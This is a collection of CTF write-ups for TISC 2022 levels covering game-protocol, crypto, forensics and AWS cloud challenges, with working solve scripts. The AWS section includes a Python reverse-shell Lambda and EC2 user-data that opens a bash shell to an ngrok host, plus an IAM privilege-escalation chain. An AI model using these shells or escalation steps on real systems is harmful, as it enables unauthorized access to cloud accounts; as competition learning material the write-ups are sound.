    SHR    $8, %RBX
    PUSH   %RBX
    MOV    %RSP, %RDI
    PUSH   %RAX
    PUSH   %RDI
    MOV    %RSP, %RSI
    MOV    $66-7, %AL
    SYSCALL
    RET
    
```

Popping this into the challenge gives us a shell.

<figure><img src="/files/FaBgekAqhSKYACW3H8UK" alt=""><figcaption></figcaption></figure>

### Intended Solution

The `libflag.so` was there for a reason! Notice that since `os.system()` does not raise an exception if the executed commands error out, we could just write to the `libyour_input.so` directly without ever writing assembly code.

This meant that we could write a [linker script](https://users.informatik.haw-hamburg.de/~krabat/FH-Labor/gnupro/5_GNUPro_Utilities/c_Using_LD/ldLinker_scripts.html) that just links `libflag.so`.

```
INPUT ( -lflag )
```


# The InfoSecurity Challenge 2022

[TISC 2022](https://www.csit.gov.sg/events/tisc/tisc-2022) was hosted by the Centre for Strategic Infocomm Technologies (CSIT). This year, I authored a challenge (5B - PALINDROME's Secret) but also had the opportunity to try out the challenges leading up to it! Here are the writeups.

<table><thead><tr><th width="429">Challenge</th><th>Category</th></tr></thead><tbody><tr><td><a href="/pages/AVt9uykebc2zbbBKkMNK">Level 1 - Slay The Dragon</a></td><td>Pwn</td></tr><tr><td><a href="/pages/sWV93rZvVPG0orTcrecN">Level 2 - Leaky Matrices</a></td><td>Crypto</td></tr><tr><td><a href="/pages/tXZ4x14ARn5Iz9YrcKhQ">Level 3 - PATIENT0</a></td><td>Forensics</td></tr><tr><td><a href="/pages/3xYp0M1xwm7swpdU5nBo">Level 4B - CloudyNekos</a></td><td>Cloud</td></tr><tr><td><a href="/pages/A3KhV14WXpq4UzXbdDOV">Level 5B - PALINDROME's Secret (Author Writeup)</a></td><td>Web</td></tr></tbody></table>

Congratulations to the 13 people who solved my challenge!


# Level 1 - Slay The Dragon

## Description

> The recently launched online RPG game "Slay The Dragon" has been hot topic in the online gaming community of late, due to a seemingly impossible final boss. Amongst the multiple tirades against the forementioned boss, much controversy has been brewing due to rumors of the game being a recruitment campaign for PALINDROME, the cybercriminal organisation responsible for recent cyberattacks on Singapore's critical infrastructure.
>
> You are tasked to find a way to beat (hack) the game and provide us with the flag (a string in the format TISC{xxx}) that would be displayed after beating the final boss. Your success is critical to ensure the safety of Singapore's cyberspace, as it would allow us to send more undercover operatives to infiltrate PALINDROME.
>
> To aid in your efforts, we have managed to obtain the source code of the game for you. We look forward to your success!
>
> You will be provided with the following:
>
> 1. Source code for game client/server (Python 3.10.x)
> 2. Game client executable (Compiled with PyInstaller)
> 3. Highly recommended that you run it in a modern terminal (not cmd.exe) for the optimal experience:
>    * Windows: Windows Terminal or ConEmu recommended.
>    * Linux: the default terminal should be fine.
>
> Note: If you'd like to make any modifications to the client, we'd strongly suggest modifying the source code and running it directly. The game client executable has been provided purely for your convenience in checking out the game.
>
> Host: chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg&#x20;
>
> Port: 18261

{% file src="/files/BkRHyXzwmoIajyOHGHXf" %}

## Solution

This challenge revolved around a game client and server, and the exploit relied upon the insecure use of client-side validation over server-side validation.

Sidenote - nice ASCII art!

<figure><img src="/files/skIwFyhYpweq5dTadU5N" alt=""><figcaption></figcaption></figure>

### Infinite Gold Exploit

The game provides a way to earn gold through mining, which can be spent on swords (which boost our attacks) and potions (which heal our character). This seemed like a great place to start, since having an unlimited amount of potions to heal our character would probably help us to beat the game.

This turned out to be useless - the last boss had a one-hit-kill attack, and we could not buy more than one sword. If we could buy unlimited swords, this exploit would have allowed us to beat the boss by using a one-hit-kill attack of our own.

Nonetheless, this is an interesting vulnerability to discuss!

First of all, there was a chance of "dying to a creeper" when mining for gold. However, this was implemented entirely on the client-side and can be commented out.

```python
def run(self):
    if random() <= CREEPER_ENCOUNTER_CHANCE:
        self.__die_to_creeper()
    self.__mine_safely()

def __die_to_creeper(self):
    screens.display_creeper_screen()
    screens.display_game_over_screen()
    self.client.exit()

def __mine_safely(self):
    screens.display_working_screen()
    self.client.send_command(Command.WORK)
```

Further, there was an arbitrary slowdown implemented by the `display_working_screen` function, which `sleep`s  for a period of time. This is meant to prevent doing exactly what we hope to do - spamming the mining functionality to gain unlimited gold.

```python
def display_working_screen():
    clear_screen()
    print("\n\n\n\n\n\n")
    print(f"{'so we back in the mine...': ^80}")
    sleep(1)
    print(f"{'got our pickaxe swinging from,': ^80}")
    sleep(1)
    print(f"{'side to side...': ^80}")
    sleep(1)
    print(f"{'side, side to side.': ^80}")
    sleep(2)
```

Once again, this is entirely client-side and we could comment out the call to this function entirely.

### Infinite Moves Exploit

After finding out that the previous exploit was useless unless we could have unlimited swords, I tried looking for ways to end the battle in one turn (since the last boss always kills us on the first turn). This required us to look deeper into how the game server processes commands.

First of all, we need to understand how the client-server traffic is actually encoded. Thankfully, this is pretty simple - all traffic is base64-encoded and each command is delimited by the `EOF_MARKER`.

```python
def recv() -> str:
    return decode(NetClient.__recvuntil(EOF_MARKER))
```

The `EOF_MARKER` is defined in `config.py`, and is simply the pound sign.

```python
######################
#   NETWORK CONFIG   #
######################

# Protocol
EOF_MARKER = "#"
```

When receiving a command from the client through `recv_command_str()`, the server processes the command and stores it in `self.history.commands`.

```python
while True:
    self.history.log_commands_from_str(self.server.recv_command_str())

    match self.history.latest:
        case Command.ATTACK | Command.HEAL:
            self.history.log_command(Command.BOSS_ATTACK)
        case Command.VALIDATE:
            break
        case Command.RUN:
            return
        case _:
            self.server.exit(1)

match self.__compute_battle_outcome():
    case Result.PLAYER_WIN_BATTLE:
        self.__handle_battle_win()
        return
    case Result.BOSS_WIN_BATTLE:
        self.server.exit()
    case _:
        self.server.exit(1)
```

The server then checks the **latest** command - if the latest command is `ATTACK` or `HEAL`, then the boss gets to attack and this attack is stored in `self.history.commands`. If it is `VALIDATE`, then it will process all commands stored in `self.history.commands` and compute the battle result.

```python
def __compute_battle_outcome(self) -> Optional[Result]:
    for command in self.history.commands:
        match command:
            case Command.ATTACK:
                self.boss.receive_attack_from(self.player)
                if self.boss.is_dead:
                    return Result.PLAYER_WIN_BATTLE
            case Command.HEAL:
                self.player.use_potion()
            case Command.BOSS_ATTACK:
                self.player.receive_attack_from(self.boss)
                if self.player.is_dead:
                    return Result.BOSS_WIN_BATTLE
    return None
```

But if we take a look at `log_commands_from_str`, it becomes apparent that the server could receive more than one command at a time.

```python
def log_commands_from_str(self, commands_str: str):
    self.log_commands(
        [Command(command_str) for command_str in commands_str.split()]
    )
```

We could therefore send any number of commands before a final `VALIDATE` command, and all the commands will be processed without allowing the boss to attack.

The actual attack is simple - just base64-encode an `ATTACK ATTACK ATTACK ... ATTACK VALIDATE` string and send it to the server.

```python
from pwn import *
import base64
import json

conn = remote('chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg', 18261)


def send(data):
    conn.send(base64.b64encode(data.encode()) + b'#')


def recv():
    return base64.b64decode(conn.recvuntil(b'#')).decode()


def view_stats():

    send('VIEW_STATS')
    jsonData = json.loads(recv())
    return jsonData


def battle(ourAttack, ourHp):

    send('BATTLE')
    bossData = json.loads(recv())
    print(bossData)

    bossAttack = bossData['attack']
    bossHP = bossData['hp']

    toSend = ''

    while True:

        toSend += 'ATTACK '
        bossHP -= ourAttack

        if bossHP <= 0:
            break

    send(toSend + 'VALIDATE')

    recved = recv()
    if recved == 'VALIDATED_OK':
        return False
    elif recved == 'OBTAINED_FLAG':
        return recv()
    else:
        raise Exception(f"Unexpected response: {recved}")


def main():
    stats = view_stats()

    while not (res := battle(1, stats['hp'])):
        stats = view_stats()

    print(res)


main()
```

The flag is `TISC{L3T5_M33T_4G41N_1N_500_Y34R5_96eef57b46a6db572c08eef5f1924bc3}`.


# Level 2 - Leaky Matrices

## Description

> Looks like PALINDROME implemented their own authentication protocol and cryptosystem to provide a secure handshake between any 2 services or devices. It does not look secure to us, can you take a look at what we have got?
>
> Try to fool their authentication service: nc chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg 56765

{% file src="/files/CMHq7fKBMwfwnbWeERz7" %}

## Solution

This was a pretty straightforward crypto challenge where a weak authentication scheme allowed the leaking of the secret key through a challenge-response sequence. This relied on the following matrix multiplication in $$GF(2)$$.

<figure><img src="/files/HH8HHiasgnP2xa6RXUZ0" alt=""><figcaption></figcaption></figure>

Importantly, this is equivalent to

$$
c\_1
\begin{bmatrix}
s\_{11} \\
s\_{21} \\
\vdots \\
s\_{n1}
\end{bmatrix}
\+
c\_2
\begin{bmatrix}
s\_{12} \\
s\_{22} \\
\vdots \\
s\_{n2}
\end{bmatrix}
\+
\cdots
c\_n
\begin{bmatrix}
s\_{1n} \\
s\_{2n} \\
\vdots \\
s\_{nn}
\end{bmatrix}
=============

\begin{bmatrix}
c\_{1}s\_{11} + c\_{2}s\_{12} + \cdots + c\_{n}s\_{1n} \\
c\_{1}s\_{21} + c\_{2}s\_{22} + \cdots + c\_{n}s\_{2n} \\
\vdots \\
c\_{1}s\_{n1} + c\_{2}s\_{n2} + \cdots + c\_{n}s\_{nn}
\end{bmatrix}
$$

​Since we control the challenge bits *c*, we could leak the result of each column by challenging the server. For example, setting $$c\_1=1, c\_{2 ... n}=0$$ gives us

$$
\begin{bmatrix} 	r\_1 \ 	r\_2 \ 	\vdots \ 	r\_n \end{bmatrix} = \begin{bmatrix} 	c\_{1}s\_{11} \ 	c\_{1}s\_{21} \ 	\vdots \ 	c\_{1}s\_{n1} \end{bmatrix}
$$

​and since we can do the same for all $$c\_{1...n}$$, we could reconstruct the response to any challenge by adding up the relevant column results.

The solution to this challenge is to simply probe the server with `00000001`, `00000010`, ... `10000000`, and when challenged, take the 1-bits and add up their corresponding probed values.

Since this happens in $$GF(2)$$, addition is the same as XOR (hence the use of XOR in the script).

```python
from pwn import *
import re

conn = remote("chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg", 56765)

def solve():
    rows = []
    for i in range(8):
        conn.recvuntil(b"<-- ")
        binstr = "0" * (8 - i - 1) + "1" + "0" * (i)
        conn.send(binstr.encode() + b"\n")
        resp = conn.recvline().decode()
        match = re.search(r"--> (.*)\n", resp)
        
        rows.append(int(match.group(1), 2))
    
    for i in range(8):
        resp = conn.recvuntil(b"<-- ").decode()
        match = re.search(r"--> (.*)\n", resp)

        challenge = match.group(1)
        result = 0
        for j in range(8):
            if challenge[j] == "1":
                result ^= rows[7 - j]

        conn.send(bin(result)[2:].zfill(8).encode() + b"\n")
    
    conn.interactive()

solve()
```

This gives us the flag.

```
========================
All challenges passed :)
========================
=================================================================
Here is your flag: TISC{d0N7_R0lL_Ur_0wN_cRyp70_7a25ee4d777cc6e9}
=================================================================
```


# Level 3 - PATIENT0

## Part 1

### Description

> Palindrome has spread some virus to corrupt machines causing incorrect readings in patients' health measurements and rending them unusable. Inspect the file and see if you can uncover the 8 corrupted bytes that renders the file system unusable?
>
> Submit your flag in this format: TISC{last 4 bytes in 8 lowercase hex characters}

{% file src="/files/BBjln78Np4PE6Bi1j5Sp" %}

### Solution

The first part of the challenge revolves around figuring out what the provided file is and fixing it.

We can see that this is an NTFS partition.

{% code overflow="wrap" %}

```
$ file PATIENT0 
PATIENT0: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 0, FAT (1Y bit by descriptor); NTFS, physical drive 0xab3566f7, sectors 12287, $MFT start cluster 4, $MFTMirror start cluster 767, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 05c66c6b160cddda1
```

{% endcode %}

If we attempt to mount it, we see an interesting error message.

```
$ sudo mount -t ntfs  ./PATIENT0 ./test
Reserved fields aren't zero (0, 0, 0, 0, 1129531732, 0).
Failed to mount '/dev/loop0': Invalid argument
The device '/dev/loop0' doesn't seem to have a valid NTFS.
Maybe the wrong device is used? Or the whole disk instead of a
partition (e.g. /dev/sda, not /dev/sda1)? Or the other way around?
```

It seems like `Reserved fields aren't zero (0, 0, 0, 0, 1129531732, 0)` is the root cause of the error. If we open the file up in a hex editor, we see that the string `TISC` corresponds to the bytes `0x43534954 = 1129531732`.

<figure><img src="/files/FPpYYuKA5XNTZeKiRJmS" alt=""><figcaption></figcaption></figure>

This definitely corresponds to at least 4 of the bytes that "render the file system unusable". If we take a look at the [NTFS Partition Boot Sector documentation](http://ntfs.com/ntfs-partition-boot-sector.htm), we would see that the bytes from offset `0x20` to `0x27` are fields in the BPB that are "not used by NTFS".

<figure><img src="/files/tzxJ9F1wtdvcC4eRlln7" alt=""><figcaption></figcaption></figure>

These 8 bytes are the corrupted bytes that should be patched to null bytes.

The flag for this part is thus `TISC{f76635ab}`

### Extra Stuff

I also found that by using `binwalk` on the NTFS file, we could find a PDF that contained a hint for this part.

<figure><img src="/files/MgTlZJHpjfpyVreOtMPW" alt=""><figcaption></figcaption></figure>

## Part 2

### Description

> Palindrome must have leaked one of their passwords as the 4 corrupted bytes (Part 1 flag)! Dig deeper to find what was hidden!\
> \
> Submit your flag in this format: TISC{md5 hash} <-- will be prompted only after opening hidden room.\
> \
> Note: Please ignore the word 'original' in clue 4.

### Solution

#### Alternate Data Streams

Once we patched the 8 corrupted bytes to null bytes, we should be able to mount the NTFS partition.

<figure><img src="/files/XPedt9Op9REH9Kag4szd" alt=""><figcaption></figcaption></figure>

Inside we find a `message.png` file containing a base32-encoded message.

<figure><img src="/files/G4XJUCCELEkp9qFhiAjV" alt=""><figcaption></figcaption></figure>

Annoyingly this was an image instead of a text file...

```python
import pytesseract
from PIL import Image

img = Image.open('message.png')
text = pytesseract.image_to_string(img)
print(text)
```

This decodes to `2.Thirsty for the flag? Go find the stream.`

After spending close to an hour guessing what this meant (PDF stream object?), I realised that since we are working with NTFS, this must have meant Alternate Data Streams (ADS). ADS are a way to store different streams of data within the same file, and can be used to hide information that would not be normally discovered through a simple directory listing.

A bit of googling later, I figured out how to mount the NTFS partition while preserving the ADS.

```
$ ntfs-3g -o streams_interface=windows PATIENT0.ntfs ./test

$ getfattr -n ntfs.streams.list message.png
# file: message.png
ntfs.streams.list="$RAND"
```

#### TrueCrypt Shenanigans

Opening up the `$RAND` data stream of `message.png`, we are greeted with the next hint.

<figure><img src="/files/h21PQxRbScx5lEl8e0Hi" alt=""><figcaption></figcaption></figure>

What I initially dismissed as bad grammar turned out to be crucial to this hint. The capitalized words spell TrueCrypt, which I doubt many people would have noticed if not for the following free hint that was released (showing the TrueCrypt logo).

<figure><img src="/files/VZoW6ouR2IbEsJ6XIJzG" alt=""><figcaption></figcaption></figure>

At the end of the file was also the message `If you need a password, the original reading of the BPB was actually Checked and ReChecked 32 times!`

I downloaded TrueCrypt and decrypted the file (with the plaintext hints cut out) with the password `f76635ab` as hinted by the challenge description. This yielded yet another message.

<figure><img src="/files/I8WxvcPfGq3kiZRfzREI" alt=""><figcaption></figcaption></figure>

#### Leetspeak Hangman

It turns out that TrueCrypt allows users to create[ hidden volumes](https://www.truecrypt71a.com/documentation/plausible-deniability/hidden-volume/). This is used in case a user is forced to reveal the password to a TrueCrypt volume, in which case they can provide the password to the standard volume while withholding the password to the hidden volume.

> TrueCrypt first attempts to decrypt the standard volume header using the entered password. If it fails, it loads the area of the volume where a hidden volume header can be stored (i.e. bytes 65536–131071, which contain solely random data when there is no hidden volume within the volume) to RAM and attempts to decrypt it using the entered password.

The previous message gives us a hangman riddle of sorts - we know that the word in question is "collision", but it seems like we need a leetspeak version of it. The message found in the previous part now becomes relevant - the password is a variation of the word "collision" that yields a CRC value of `0xf76635ab`.

> If you need a password, the original reading of the BPB was actually Checked and ReChecked 32 times!

After trying several failed variations, I just made `hashcat` attempt all possible permutations of a 9-letter alphanumeric word starting with 'c' and ending with 'n'

`hashcat -a 3 -m 11500 -1 abcdefghijklmnopqrstuvwxyz0123456789 "f76635ab:00000000" 'c?1?1?1?1?1?1?1n' -o found.txt --keep-guessing`

This gave many possible results, but `c01lis1on` was the only viable one.

#### PowerPoint Shenanigans

After decoding the hidden volume, we find a `.ppsm` file (a PowerPoint file with embedded macros). The one and only slide in the presentation told us the flag format.

<figure><img src="/files/9TXvrUTsus6Djlw0ouxs" alt=""><figcaption></figcaption></figure>

There is an audio clip that was played when the slide enters presentation mode.

Since PowerPoint files were essentially zip archives, all we needed to do was unzip the `.ppsm` file and look for a `.mp3` file.

```
$ find . -name '*mp3'
./ppt/media/media1.mp3

$ cat ./ppt/media/media1.mp3 | md5
f9fc54d767edc937fc24f7827bf91cfe
```


# Level 4B - CloudyNekos

## Description

> We have received intelligence that Palindrome has started a global computing infrastructure to be made available to its agent to spin up C2 instances. They relied on Cloud Service Providers like AWS to provide computing resources for its agents. They have their own custom built access system e-service portal that generate short-lived credentials for their agents to use their computing infrastructure. It was said that their access system e-service was diguised as a blog site.
>
> We need your help to access their computing resources and exfiltrate any meaningful intelligence for us.
>
> Start here: <http://d20whnyjsgpc34.cloudfront.net>
>
> *NOTE*: Solving challenge 4B allows you to complete level 4, but unlocks challenge 5B only!

## Solution

### Dumping S3 Bucket

Visiting the webpage, we see the following clues in the HTML source.

```markup
<div class="p-5 text-center bg-light">
  <!-- Passcode -->
  <h1 class="mb-3">Cats rule the world</h1>
  <!-- Passcode -->
  <!-- 
    ----- Completed -----
    * Configure CloudFront to use the bucket - palindromecloudynekos as the origin
    
    ----- TODO -----
    * Configure custom header referrer and enforce S3 bucket to only accept that particular header
    * Secure all object access
  -->
  <h4 class="mb-3">—ฅ/ᐠ. ̫ .ᐟ\ฅ —</h4>
</div>
```

Here's what this is referring to - CloudFront is Amazon's CDN and can be configured to use an S3 bucket as its origin. The CloudFront site will then use files on the S3 buckets to serve the static page. But even so, the user could just access the S3 instance directly. The missing step here is to restrict direct access to the S3 bucket except from authenticated requests from CloudFront using Origin Access Identity (OAI).

<figure><img src="/files/wkRYAXMPn1KYPo8hBFtf" alt=""><figcaption></figcaption></figure>

The S3 bucket in its current state is readable by all authenticated users, so we could simply login to our own AWS account and use the AWS CLI to access the `palindromecloudynekos` bucket.

```
$ aws s3 cp s3://palindromecloudynekos . --recursive
download: s3://palindromecloudynekos/index.html to ./index.html
download: s3://palindromecloudynekos/error.html to ./error.html
download: s3://palindromecloudynekos/api/notes.txt to api/notes.txt
download: s3://palindromecloudynekos/img/photo6.jpg to img/photo6.jpg
download: s3://palindromecloudynekos/img/photo2.jpg to img/photo2.jpg
download: s3://palindromecloudynekos/img/photo4.jpg to img/photo4.jpg
download: s3://palindromecloudynekos/img/photo3.jpg to img/photo3.jpg
download: s3://palindromecloudynekos/img/photo5.jpg to img/photo5.jpg
download: s3://palindromecloudynekos/img/photo1.jpg to img/photo1.jpg
```

This gives us the next clue.

{% code title="api/notes.txt" overflow="wrap" %}

```
# Neko Access System Invocation Notes

Invoke with the passcode in the header "x-cat-header". The passcode is found on the cloudfront site, all lower caps and separated using underscore.

https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent

All EC2 computing instances should be tagged with the key: 'agent' and the value set to your username. Otherwise, the antivirus cleaner will wipe out the resources.
```

{% endcode %}

As we saw earlier, the passcode is `X-Cat-Header: cats_rule_the_world`. By sending the appropriate request to the API endpoint, we get a set of AWS credentials.

{% code overflow="wrap" %}

```http
GET /prod/agent HTTP/2
Host: b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com
X-Cat-Header: cats_rule_the_world

HTTP/2 200 OK
Date: Mon, 12 Sep 2022 14:06:30 GMT
Content-Type: application/json
Content-Length: 296
Access-Control-Allow-Origin: *
Apigw-Requestid: YWZzigwJSQ0EPvw=

{"Message": "Welcome there agent! Use the credentials wisely! It should be live for the next 120 minutes! Our antivirus will wipe them out and the associated resources after the expected time usage.", "Access_Key": "AKIAQYDFBGMS7BGNBM64", "Secret_Key": "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"}
```

{% endcode %}

### Enumerating Permissions

It was at this point that I tried different enumeration tools such as [enumerate-iam](https://github.com/andresriancho/enumerate-iam) and [pacu](https://github.com/RhinoSecurityLabs/pacu). Pacu came with a ton of useful modules which came in handy later on.

Here are the results that `enumerate-iam` gave.

{% code overflow="wrap" lineNumbers="true" %}

```
2022-08-28 14:26:49,796 - 90864 - [INFO] Starting permission enumeration for access-key-id "AKIAQYDFBGMS7D6342UC"
2022-08-28 14:26:51,590 - 90864 - [INFO] -- Account ARN : arn:aws:iam::051751498533:user/user-e2cb59ebe2e646dda46073d57b40f6fe
2022-08-28 14:26:51,590 - 90864 - [INFO] -- Account Id  : 051751498533
2022-08-28 14:26:51,590 - 90864 - [INFO] -- Account Path: user/user-e2cb59ebe2e646dda46073d57b40f6fe
2022-08-28 14:26:51,876 - 90864 - [INFO] Attempting common-service describe / list brute force.
2022-08-28 14:26:55,435 - 90864 - [INFO] -- sts.get_session_token() worked!
2022-08-28 14:26:55,787 - 90864 - [INFO] -- sts.get_caller_identity() worked!
2022-08-28 14:26:55,800 - 90864 - [INFO] -- ec2.describe_regions() worked!
2022-08-28 14:26:56,129 - 90864 - [INFO] -- ec2.describe_subnets() worked!
2022-08-28 14:26:59,674 - 90864 - [INFO] -- ec2.describe_security_groups() worked!
2022-08-28 14:27:01,068 - 90864 - [INFO] -- ec2.describe_route_tables() worked!
2022-08-28 14:27:01,462 - 90864 - [INFO] -- ec2.describe_vpcs() worked!
2022-08-28 14:27:02,711 - 90864 - [INFO] -- dynamodb.describe_endpoints() worked!
2022-08-28 14:27:03,140 - 90864 - [INFO] -- iam.list_roles() worked!
2022-08-28 14:27:03,512 - 90864 - [INFO] -- ec2.describe_instance_types() worked!
2022-08-28 14:27:06,672 - 90864 - [INFO] -- iam.list_instance_profiles() worked!
```

{% endcode %}

Pacu also gave similar results during my initial privileges scan.

### Some Useful Information

By trying each of these privileges one by one, I found some interesting information that would come in handy later.

For instance, `aws iam list-roles` gave a list of roles, some of which looked interesting:

```json
{
	"Path": "/",
	"RoleName": "ec2_agent_role",
	"RoleId": "AROAQYDFBGMSYSEMEVAEH",
	"Arn": "arn:aws:iam::051751498533:role/ec2_agent_role",
	"CreateDate": "2022-07-22T09:29:34+00:00",
	"AssumeRolePolicyDocument": {
		"Version": "2012-10-17",
		"Statement": [
			{
				"Effect": "Allow",
				"Principal": {
					"Service": "ec2.amazonaws.com"
				},
				"Action": "sts:AssumeRole"
			}
		]
	},
	"MaxSessionDuration": 3600
},
{
	"Path": "/",
	"RoleName": "lambda_agent_development_role",
	"RoleId": "AROAQYDFBGMS2NDQR5JSE",
	"Arn": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
	"CreateDate": "2022-07-22T09:29:34+00:00",
	"AssumeRolePolicyDocument": {
		"Version": "2012-10-17",
		"Statement": [
			{
				"Effect": "Allow",
				"Principal": {
					"Service": "lambda.amazonaws.com"
				},
				"Action": "sts:AssumeRole"
			}
		]
	},
	"MaxSessionDuration": 3600
},
{
	"Path": "/",
	"RoleName": "lambda_agent_webservice_role",
	"RoleId": "AROAQYDFBGMSTH7VQVGQC",
	"Arn": "arn:aws:iam::051751498533:role/lambda_agent_webservice_role",
	"CreateDate": "2022-07-22T09:29:35+00:00",
	"AssumeRolePolicyDocument": {
		"Version": "2012-10-17",
		"Statement": [
			{
				"Effect": "Allow",
				"Principal": {
					"Service": "lambda.amazonaws.com"
				},
				"Action": "sts:AssumeRole"
			}
		]
	}
}
```

`aws iam list-instance-profiles` also yielded a particularly interesting instance profile, `ec2_agent_instance_profile`.

```json
{
    "InstanceProfiles": [
        {
            "Path": "/",
            "InstanceProfileName": "ec2_agent_instance_profile",
            "InstanceProfileId": "AIPAQYDFBGMS6EKSSQ2RF",
            "Arn": "arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile",
            "CreateDate": "2022-07-22T09:29:35+00:00",
            "Roles": [
                {
                    "Path": "/",
                    "RoleName": "ec2_agent_role",
                    "RoleId": "AROAQYDFBGMSYSEMEVAEH",
                    "Arn": "arn:aws:iam::051751498533:role/ec2_agent_role",
                    "CreateDate": "2022-07-22T09:29:34+00:00",
                    "AssumeRolePolicyDocument": {
                        "Version": "2012-10-17",
                        "Statement": [
                            {
                                "Effect": "Allow",
                                "Principal": {
                                    "Service": "ec2.amazonaws.com"
                                },
                                "Action": "sts:AssumeRole"
                            }
                        ]
                    }
                }
            ]
        }
    ]
}
```

### Getting lambda\_agent\_development\_role

A few more hours of staring at AWS documentation later, I decided to use Pacu's `whoami` command and surprisingly, there was a ton of useful information that Pacu has stored already.

<pre class="language-json"><code class="lang-json"><strong>"Permissions": {
</strong>    "Allow": {
      
      ...
      
      "lambda:CreateFunction": {
        "Resources": [
          "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
        ]
      },
      "lambda:GetFunction": {
        "Resources": [
          "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
        ]
      },
      "lambda:InvokeFunction": {
        "Resources": [
          "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
        ]
      },
      "iam:ListAttachedUserPolicies": {
        "Resources": [
          "arn:aws:iam::051751498533:user/${aws:username}"
        ]
      },
      "iam:PassRole": {
        "Resources": [
          "arn:aws:iam::051751498533:role/lambda_agent_development_role"
        ]
      },
      
      ...
      
    },
    "Deny": {}
  }
}
</code></pre>

In particular, we had `lambda:CreateFunction`, `lambda:InvokeFunction` and `iam:PassRole` privileges.&#x20;

The reason these did not show up in `enumerate-iam` is probably because `enumerate-iam` only does a naive bruteforce by attempting to invoke each privilege without any specific format as required in this challenge (e.g. `arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*`)

At this point we can consult this [great resource](https://github.com/BishopFox/iam-vulnerable/blob/main/README.md) by Bishop Fox that provides a nice table breakdown of different AWS privilege escalation techniques. Our current permissions correspond to technique 15 [here](https://bishopfox.com/blog/privilege-escalation-in-aws), which involves creating a Lambda function that assumes a privileged role, thus executing code with higher privileges.

First, we create a Python script that gives us a reverse shell.

```python
import os
import socket
import subprocess

def lambda_handler(event, context):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("HOST", PORT))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    p = subprocess.call(["/bin/sh", "-i"])
```

Then we zip this into a zip file like `function.zip`, and create a lambda function adhering to the name format above. Using `--role`, we pass the `lambda_agent_development_role` to this lambda function.

{% code overflow="wrap" %}

```
aws lambda create-function --function-name function:user-b5089e5404f049168e93e51cdba5d212-test --runtime python3.9 --role arn:aws:iam::051751498533:role/lambda_agent_development_role --handler code.lambda_handler --zip-file fileb://function.zip --timeout 100
```

{% endcode %}

After invoking the lambda function, we get a reverse shell on our listener!

{% code overflow="wrap" %}

```
aws lambda invoke --function-name user-b5089e5404f049168e93e51cdba5d212-test output.txt
```

{% endcode %}

### Getting ec2\_agent\_role

Now that we have access to `lambda_agent_development_role`, let's see how we can leverage our newfound permissions. After enumerating permissions again with our trusty enumeration scripts, we find out that we now have the permission to create EC2 instances.

At this point we need to remember this piece of information given to us early in the challenge, telling us the tags that are required.

{% code overflow="wrap" %}

```
All EC2 computing instances should be tagged with the key: 'agent' and the value set to your username. Otherwise, the antivirus cleaner will wipe out the resources.
```

{% endcode %}

Our current permissions now correspond to technique 3 [here](https://bishopfox.com/blog/privilege-escalation-in-aws), involving the `iam:PassRole and ec2:RunInstances` permissions. Essentially, we could pass in an `--iam-instance-profile` to assign a role to the EC2 instance.

But in order to gain access to our newfound privileges we would need a way to gain access to our newly created EC2 instance. In this article, the authors leveraged the assigning of SSH key pairs and gained access through the public IP address of the EC2 instance.

> * The user needs to have some way to SSH into the newly created instance.
>   * In the example below, the user assigns a public SSH key stored in AWS to the instance and the user has access to the matching private key.

In this challenge, however, this method does not seem quite so feasible (in particular, I had a hard time figuring out how to get the public IP of the instance since we only had access to `run-instances` but *not* `describe-instances`).&#x20;

It turned out there was a way to do this by using idempotency tokens, which allowed us to get updated information on the result of a previous command. As this was not my solution, I won't discuss it in detail.

> Idempotency ensures that an API request completes no more than one time. With an idempotent request, if the original request completes successfully, any subsequent retries complete successfully without performing any further actions. However, the result might contain updated information, such as the current creation status.

After a bit more googling, I came across this [blog post](https://s3cur3.it/home/practicing-aws-security-with-iamvulnerable-part-2) containing a similar scenario as the one we have here. It turns out that the [`user-data`](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) option can be used to execute a script on startup. This is meant to help perform common configuration and setup tasks when provisioning an EC2 instance.

Piecing it all together, we can modify our previous lambda function to spawn an EC2 instance that runs a reverse shell on startup.

```python
import json
import boto3
import base64

def lambda_handler(event, context):
  client = boto3.client('ec2')
  response = client.run_instances(
    ImageId='ami-0b89f7b3f054b957e',
    SubnetId='subnet-0aa6ecdf900166741',
    TagSpecifications=[
        {
            'ResourceType': 'instance',
            'Tags': [
                {
                    'Key': 'agent',
                    'Value': 'user-17416bc58b3f40aa95a139bffdac450a'
                },
            ]
        },
    ],
    MaxCount=1,
    MinCount=1,
    IamInstanceProfile={
        'Arn': 'arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile'
    },
    UserData=base64.b64encode(b'#!/bin/bash\n\n/bin/bash -l > /dev/tcp/4.tcp.ngrok.io/18673 0<&1 2>&1\n').decode('utf-8')
  )
  return json.loads(json.dumps(response, default=str))
```

And we're in! We now have the `ec2_agent_role`.

<figure><img src="/files/MePzWt3MPNR6mENeBAqj" alt=""><figcaption></figcaption></figure>

### Getting the Flag

Once again, we obtain the credentials through the metadata endpoint and enumerate our privileges. This time, we only really had access to `dynamodb`.

The flag was stored in `flag_db` and easily retrievable using `aws dynamodb scan --table-name flag_db`.

```json
{
    "Items": [
        {
            "secret": {
                "S": "TISC{iT3_N0t_s0_C1oUdy}"
            },
            "name": {
                "S": "flag"
            }
        }
    ],
    "Count": 1,
    "ScannedCount": 1,
    "ConsumedCapacity": null
}
```


# Level 5B - PALINDROME's Secret (Author Writeup)

